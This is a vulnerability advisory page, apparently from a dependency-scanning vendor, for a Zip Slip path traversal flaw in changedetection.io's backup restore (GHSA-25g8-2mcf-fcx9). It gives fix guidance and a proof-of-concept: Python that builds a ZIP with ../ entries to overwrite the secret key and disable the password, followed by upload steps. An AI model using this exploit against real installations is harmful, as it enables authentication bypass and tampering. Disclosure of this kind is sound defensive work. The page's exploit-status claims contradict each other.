How severe is GHSA-25g8-2mcf-fcx9?

No CVSS score has been assigned to GHSA-25g8-2mcf-fcx9 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-25g8-2mcf-fcx9?

GHSA-25g8-2mcf-fcx9 affects the following packages: changedetection-io (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-25g8-2mcf-fcx9?

Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-25g8-2mcf-fcx9 is resolved across your whole dependency graph.

How do I detect GHSA-25g8-2mcf-fcx9 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-25g8-2mcf-fcx9 if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is GHSA-25g8-2mcf-fcx9 actively exploited in the wild?

No public exploit code has been indexed for GHSA-25g8-2mcf-fcx9 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-25g8-2mcf-fcx9?

GHSA-25g8-2mcf-fcx9 has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 48th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-25g8-2mcf-fcx9?

GHSA-25g8-2mcf-fcx9 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-25g8-2mcf-fcx9 published, and has it been updated?

GHSA-25g8-2mcf-fcx9 was published on March 4, 2026 and was last updated on July 13, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

changedetection.io has Zip Slip vulnerability in the backup restore functionalityGHSA-25g8-2mcf-fcx9

Fix: dgtlmoon/changedetection.io@1d7d812

GHSA-25g8-2mcf-fcx9 is a Path Traversal vulnerability in changedetection-io. A fix is available for changedetection-io — see the affected versions and patch details below.

Also known asCVE-2026-29065PYSEC-2026-2129

Published

Mar 4, 2026

Updated

Jul 13, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-25g8-2mcf-fcx9.

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐍changedetection-io

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP	Target File	Impact
../secret.txt	Flask secret key	Session forgery, auth bypass
../changedetection.json	App settings	Disable password, inject backdoor
../url-watches.json	Watch index	Inject malicious watches
../{uuid}/watch.json	Watch config	Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "[email protected]" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`changedetection-io`	all versions	0.54.4`pip install --upgrade 'changedetection-io==0.54.4'`

Affected Products

1 product · 1 configurations

Application

changedetectionwebtechnologies

< 0.54.4

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-25g8-2mcf-fcx9 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. ### Details A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory. Vulnerable Code (lines 50-53): ``` def restore_backup(self, filename): with zipfile.ZipFile(filename, 'r') as zip_ref: # VULNERABLE: No path validation

O3 Security · Impact-Aware SCA

Is GHSA-25g8-2mcf-fcx9 in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works